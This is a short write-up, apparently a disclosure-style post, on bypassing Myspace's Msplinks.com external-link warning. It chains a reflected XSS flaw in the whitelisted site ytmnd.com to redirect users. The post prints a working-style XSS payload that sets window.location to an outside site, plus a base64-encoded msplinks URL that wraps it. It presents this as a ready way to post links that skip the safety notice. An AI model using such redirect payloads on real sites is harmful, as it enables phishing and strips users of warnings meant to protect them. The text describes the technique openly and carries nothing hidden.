Bypassing Msplinks.com Notifications - Myspace.com

As a preventative measure Myspace.com routes all user posted links through Msplinks.com. If the linked site is not on the msplinks whitelist a notification that the user is visiting an external site is displayed, and the the user must click another link to continue. To circumvent this system, an XSS vulnerability in a whitelisted site can be used as a redirect.



Fortunately ytmnd.com has a vulnerability. By prepending 01 to an xss redirect url, base64 encoding the result, and appending it to http://www.msplinks.com/ we can create a link that can be posted on Myspace. When the user clicks this link, no external site warnings are displayed.

The vulnerable whitelisted site:
http://www.ytmnd.com/search?q="]}}};window.location='http://www.asdf.com/';{{{//

A msplinks link that redirects to the xss redirect:
http://www.msplinks.com/MDFodHRwOi8vd3d3Lnl0bW5kLmNvbS9zZWFyY2g/cT0lMjIlNUQlN0QlN0QlN0Q7d2luZG93LmxvY2F0aW9uPSdodHRwOi8vd3d3LmFzZGYuY29tLyc7JTdCJTdCJTdCLy8=